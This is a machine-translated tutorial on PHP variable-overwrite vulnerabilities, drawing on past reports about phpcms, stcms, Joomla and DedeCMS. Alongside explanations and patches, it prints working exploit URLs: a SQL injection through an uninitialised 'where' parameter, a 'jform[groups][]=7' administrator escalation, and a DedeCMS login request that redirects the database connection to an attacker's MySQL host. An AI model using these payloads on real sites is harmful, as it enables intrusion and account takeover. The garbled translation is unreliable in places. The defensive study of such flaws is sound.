PHP Variable Coverage Vulnerability explained

1. The variable has no initialization problem (1):

Wooyun connection 1:[link href= "wooyun:phpcms V9 member table contents arbitrarily modify the vulnerability"]tenzy[/link]

$updateinfo [' password '] = $newpassword;The array inside is not initialized like this assignment, and we're searching for something similar when digging a holeUpdateinfoLook at the keywords like that

Whether to initialize, if not ... AndRegister_global=onSupport

can submit
updateinfo[amount]Such arrays arbitrarily modify their balances, points, membership groups, VIPs and other information stored in the member table.

Fix:$updateinfo = array();

the variable has no initialization problem (2):
Wooyun connection 2:[link href= "wooyun:stcms of a SQL injection"]zvall[/link]
It shows the defense of bypassing the program, which is a factor that leads to injection. More factors are becausewhereThe variable is not initialized!
case ‘list‘: 
   
    $totalNum = $mysql->numTable("member", $where);
WhereNo initialization causes arbitrary SQL statements to be executed
http://localhost/stcms_html/member/u.php?action=list&where={sql}

Fix: Before the class call, add$where=‘‘;

We were digging a hole, searching for something likewhereLook at this keyword and see if it's initialized.

The variable has no initialization problem (3):
Wooyun Connection 3: [link href= "Wooyun:joomla variable override causes registration to be exploited"] milk tank [/link]

// 这个地方获取用户注册信息，POST进来的jform数组，但是没有详细指定 
$requestData = JRequest::getVar(‘jform‘, array(), ‘post‘, ‘array‘); 

$data = (array)$this->getData(); 
// 遍历出注册信息 
foreach ($temp as $k => $v) { 
$data[$k] = $v; 
}
It seems to be fine, but the characteristics of a two-dimensional array cancoverLive:
jfrom[groups][]=7, using the problem of foreach to overwrite the groups array, becomes 7 (Administrator).
Fix: Like Wooyun connection 1$updateinfo[‘password‘] = $newpasswordLike this assignment. Or check if the array isTwo-dimensional。

2. Core code configuration issues throw variable overrides:
Dedecms: Example (1):
I. Understanding PHP SUPER Global Variables
Here is the PHP Super global variable, you can understand a feature, all arrays.
$GLOBALS, array of all global variables
$_server, array of server environment variables
$_get, an array of variables passed to the script by the GET method
$_post, an array of variables passed to the script via the POST method
$_cookie,cookie variable Array
$_request, an array of variables entered by all users, including inputs $_get, $_post, and $_cookie
$_files, array of variables associated with file uploads
$_env, an array of environment variables
$_session, array of Session variables

Second: Understanding $_get variables
You can write a PHP to see:
<?php 
        var_dump($_GET); 
        ?>

Access
http://www.xxx.com /test.php?key=value
Get
array(1) { ["key"]=> string(5) "value" }
OK, see here should understand, $_get is the array, we can use the Get method to pass a list.


Re-visit
http://www.xxx.com /test.php?key[arr1]=value
Get
array(1) { ["key"]=> array(1) { ["arr1"]=> string(5) "value" } }
We passed in a nested array by the GET method.


In fact, the problem came out, a lot of PHP security data did not mention the get nested arrays of this feature, and occasionally in a few exploit see-!


three. In-depth follow-up DEDECMS global variable Registration Vulnerability


After really understanding the $_get variable, let's take a closer look at the real cause of the vulnerability and simulate the entire process of the vulnerability:


Commit a nested array:
http://www.xxxx.com /test.php?_POST[GLOBALS][cfg_dbname]=X 
                 
                                                                        array(1) { ["_POST"]=> array(1) { ["GLOBALS"]=> 

array(1) { ["cfg_dbname"]=> string(1) "X" } } }




If the data is passed into the DEDECMS program and filtered in the first layer, DEDECMS will check if there are any global variables in the $_request, but our key

are _post and are arrays, so it's easy to bypass.
foreach($_REQUEST as $_k=>$_v) 
                { 
                if( strlen($_k)>0 && eregi(‘^(cfg_|GLOBALS)‘,$_k) ) 
                { 
                        exit(‘Request var not allow!‘); 
                } 
                }

Then into the real register variable flow, in order is first registered from the $_get variable, our key is (_post), the first round traversal $_get successfully registered

The variable $_post, the second round traversal $_post successfully registered the variable $globals!
foreach(Array(‘_GET‘,‘_POST‘,‘_COOKIE‘) as $_request) 
                        { 
                        foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v); 
                        }

The reason for the loophole here is clear, the program through $_get registered $_post, through $_post registered $globals!



Four. Understanding the bug after patching

After fully understanding the flaw, you will know how to fix it.

1. You can see how discuz is done, and when the first character of the key is found, the variable is not registered.


foreach(array(‘_COOKIE‘, ‘_POST‘, ‘_GET‘) as $_request) { 
                foreach($$_request as $_key => $_value) { 
                  $_key{0} != ‘_‘ && $$_key = daddslashes($_value); 
                } 
                }


2. Dedecms can be temporarily patched with the following method, when traversing the $_post register variable, it is found that the variable name exists globals will block the registration of variables.
foreach (Array (' _get ', ' _post ', ' _cookie ') as $_request)
{
foreach ($$_request as $_k = $_v) {
if (strlen ($_k) >0 && eregi (' ^ (cfg_| GLOBALS) ', $_k) {
Exit (' Request var not allow! ');
}
${$_k} = _runmagicquotes ($_v);
}
}



Example Exp:http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=账号&pwd=密码& _POST[GLOBALS] 

[cfg_dbhost]=MYSQL外链IP&_POST[GLOBALS] [cfg_dbuser]=MYSQL的账号&_POST[GLOBALS][cfg_dbpwd]=MYSQL的密码& _POST[GLOBALS] 

[cfg_dbname]=自己的dedecms的数据库

Dedecms: Example (2): Breaking the official website patch (chicken help)
0x5sec

Why does the hyper-global variable $_request not read the $_cookie parameter? This is PHP 5.3 after php.ini default settings
Request_order = "GP", so you understand! If you modify Request_order = "GPC", $_request should be able to accept the parameters!
So if PHP is greater than 5.3, the variable overwrite vulnerability should be reused!

CheckRequest($_REQUEST);Check if the variables are legal bugs!parameters of the $_cookieIt doesn't even bird him ...

More connections: https://forum.90sec.org/thread-2476-1-1.html

Https://forum.90sec.org/thread-2468-1-1.html


3.Yaseng PHP Variable Overlay instance:
Yaseng introduced in detail, a variety of breakthroughs.


ForDedecms Example 2Middle: Some people say& _POST[0xHEX 16进制][cfg_dbhost] //GLOBALSCan this be bypassed? I have tested many unsuccessful, may be some problems, may also
It's a fake.

Original address: http://zone.wooyun.org/content/1872

PHP Variable Coverage Vulnerability explained